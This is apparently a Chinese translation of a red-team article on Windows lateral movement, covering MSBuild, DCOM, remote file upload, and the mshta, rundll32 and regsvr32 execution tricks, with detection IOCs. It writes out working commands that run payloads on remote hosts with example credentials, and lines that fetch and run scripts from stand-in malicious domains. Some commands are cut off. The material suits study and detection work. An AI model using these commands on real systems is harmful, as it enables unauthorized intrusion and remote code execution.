登录

Offensive Lateral Movement（下）

mss**** / 2019-09-15 10:50:23 / 浏览数 3174 渗透测试 渗透测试 顶(0) 踩(0)

(接上文)

MSBuild

[Casey Smith](https://twitter.com/subtee）在2016年发现，MSBuild.exe可以与上述某些方法结合使用，以避免下载经过编码的Powershell命令或运行cmd.exe。MSBuild.exe是

Framework程序包一起安装的。当使用MSBuild编译/构建C#应用程序时，需要用到一个XML文件，其中存放的是架构信息。从攻击者的角度来看，可以使用MSBuild.exe编

```
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe \\host.domain\path\to\XMLfile.xml
```

演示视频

XML Template:
https://gist.githubusercontent.com/ConsciousHacker/5fce0343f29085cd9fba466974e43f17/raw/df62c7256701d486fcd1e063487f24b599658a7b/shellcode.xml

下面的做法是行不通的：

```
wmic /node:LABWIN10.lab.local /user:LAB\Administrator /password:Password! process call create "c:\windows\Microsoft.NET\Framew
```

当我们通过wmic调用msbuild.exe来构建经过SMB传输的XML文件时，会因双跃点问题而失败。这是因为，通过网络登录时，就会遇到双跃点问题，这意味着永远不会将凭
Strike的读者来说，通常会在使用wmic时遇到这个问题，解决方法是为该用户创建令牌，这样就可以传递该主机的凭证了。相反，对于没有使用CS的用户来说，可以通过下

1. 本地托管XML文件(将文件保存到磁盘上)

```
copy C:\Users\Administrator\Downloads\build.xml \\LABWIN10.lab.local\C$\Windows\Temp

wmic /node:LABWIN10.lab.local /user:LAB\Administrator /password:Password! process call create "c:\windows\Microsoft.NET\Framew
```

1. 通过WebDAV托管XML文件(具体如下所示)
2. 使用PsExec

psexec \host.domain -u Domain\Tester -p Passw0rd c:\windows\Microsoft.NET\Framework\v4.0.30319\Msbuild.exe
\host.domain\C$\Windows\Temp\build.xml"

演示视频

在Cobalt Strike中，提供了一个Aggressor
Script插件，它可以通过MSBuild执行Powershell命令，而不是通过难以管理的进程来运行Powershell(即将二进制代码直接编译成机器码)。它是通过WMI/WMI.exe进行上

https://github.com/Mr-Un1k0d3r/PowerLessShell

由于MSBuild是通过SMB通信的，也就是说，MSBuild会建立出站连接——这就是检测MSBuild的关键指标。

此外，MSBuild.exe还会调用`QueryNetworkOpenInformationFile`操作，这也是一个不错的IOC。

DCOM

组件对象模型（Component Object
Model，COM）是供由不同应用程序和语言生成的进程相互通信的一种协议。COM对象不能在引入分布式COM(DCOM)协议的网络上使用。我的同事Matt Nelson发现了一种基于DCOM的横向渗透技术，该技术主要用到了Microsoft管理控制台(MMC)2.0中用于系统管理服务器管理功能的ExecuteShellCommand方法。

该方法可以通过以下方式进行调用：

```
[System.Activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","192.168.10.30")).Document.ActiveView.Execute
```

由于DCOM也要用到网络登录，因此，这里也会遇到双跃点问题。不过，使用PsExec倒是能够避免双跃点问题，因为这里的凭证是通过命令传递的，并会生成一个交互式登
"cmd.exe",$null,"/c"被视作3个参数），这就排除了使用PsExec和DCOM执行MSBuild的可能性。因此，我们还剩下以下几种选择。

1. 使用WebDAV
2. 在不需要身份验证的SMB共享上托管XML文件(例如，可以使用Impacket的SMBServer.py脚本，但是要求攻击者的攻击机器位于相应的网络中)

3. 尝试与“ExecuteShellCommand”类似的其他方法

对于WebDAV来说，它仍然需要使用一个UNC路径，但是如果它无法到达基于445和139端口的路径的话，Windows最终还会返回到端口80。对于WebDAV来说，SSL也是

```
[System.Activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","192.168.10.30")).Document.ActiveView.Execute
```

这里不需要任何身份验证就可以访问WebDAV服务器（在本例中，它也是C2服务器），从而有效地避免了双跃点问题。

演示视频

如视频所示，这种方法的问题在于，由于MMC2.0和MSBuild.exe都会调用DCOM方法，所以会生成两个运行mmc.exe的进程。

此外，WebDAV还会向磁盘的临时文件中写入数据，该目录的具体路径为：

C:\Windows\ServiceProfiles\LocalService\AppData\Local\Temp\TfsStore\Tfs_DAV

重要的是，运行结束后，它不会清理任何文件。此外，MSBuild还会向下面的临时文件中写入数据：

C:\Users[USER]\AppData\Local\Temp[RANDOM]\

不过，这里它会主动完成清理工作。这个方法的巧妙之处在于，由于MSBuild使用了Webdav，所以，MSbuild会清理Webdav所创建的文件。

其他执行DCOM方法和防御性建议，请参阅这里的一篇文章。

Remote File Upload

值得注意的是，您可以生成自己的二进制，而不是使用Cobalt
Strikes内置插件，这种做法可能会更隐蔽。为此，我们可以通过SMB将相关的权限（如管理权限）上传给目标系统上的C$共享，这样，我们就可以通过wmic或DCOM来上

演示视频

请注意，这里的beacon需要通过下面的命令手动完成“签入”过程：

```
link target.domain
```

如果没有CS的话，可以使用下面的命令：

```
copy C:\Windows\Temp\Malice.exe \\target.domain\C$\Windows\Temp
wmic /node:target.domain /user:domain\user /password:password process call create "C:\Windows\Temp\Malice.exe"
```

Other Code Execution Options

实际上，还存在其他一些可能的代码执行方法，但是这些方法需要在本地执行而不是远程执行，所以像MSBuild一样，这些方法必须与横向渗透技术相结合才能奏效。

Mshta

Mshta.exe是Windows系统上默认安装的一款可执行文件，可以用来执行.hta文件。众所周知，.hta文件是一种Microsoft
HTML应用程序文件，允许在HTML应用程序中执行Visual
Basic脚本。使用Mshta的好处在于，它可以通过URL执行，因为它是受信任的Microsoft可执行文件，所以能够绕过默认的app-whitelisting机制。

```
mshta.exe https://malicious.domain/runme.hta
```

Rundll32

这个方法流传的比较广了。Rundll32.exe也是一个受信任的Windows二进制文件，可以用于执行DLL文件，而DLL可以通过UNC
WebDAV路径来指定，甚至可以通过JavaScript来指定：

```
rundll32.exe javascript:"..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https[:]//www[.]example[.]com/malic
```

由于这里运行的是DLL，因此，我们可以与其他技术配合使用：

URL.dll：可以运行.url（快捷方式）文件；也可以运行.hta文件

- rundll32.exe url.dll,OpenURL "C:\Windows\Temp\test.hta"

ieframe.dll：可以运行.url文件

- 示例.url文件：
  ```

```
[InternetShortcut]
URL=file:///c:\windows\system32\cmd.exe
```
```

- shdocvw.dll：也可以运行.url文件

Regsvr32

Register
Server通常用于注册和注销供注册表使用的DLL。Regsrv32.exe是一个带有微软签名的二进制文件，可以接受URL作为参数。具体来说，它可以运行.sct文件，该文件是一个

regsvr32 /s /n /u /i:http://server/file.sct scrobj.dll

对这种方法感兴趣的读者，可以阅读Casey Smith撰写的深度介绍文章。

Conclusion

再次重申，本文介绍的横向渗透技术并不全面。相反，这里只是记录了一些我刚学到的技术，及其背后的运行机制。在学习Cobalt
Strike过程中，我发现其内置插件在OpSec方面做的不是太令人满意，这可能导致渗透活动"露馅"，所以，我想我至少应该尝试记录一些高级的IOC。此外，我们鼓励大家访
ATT&CK 的知识库，以便广泛了解横向渗透和潜在IOC方面的相关信息。当然，本文也非常欢迎大家通过Twitter与我相互交流，本人的账号为@ haus3c。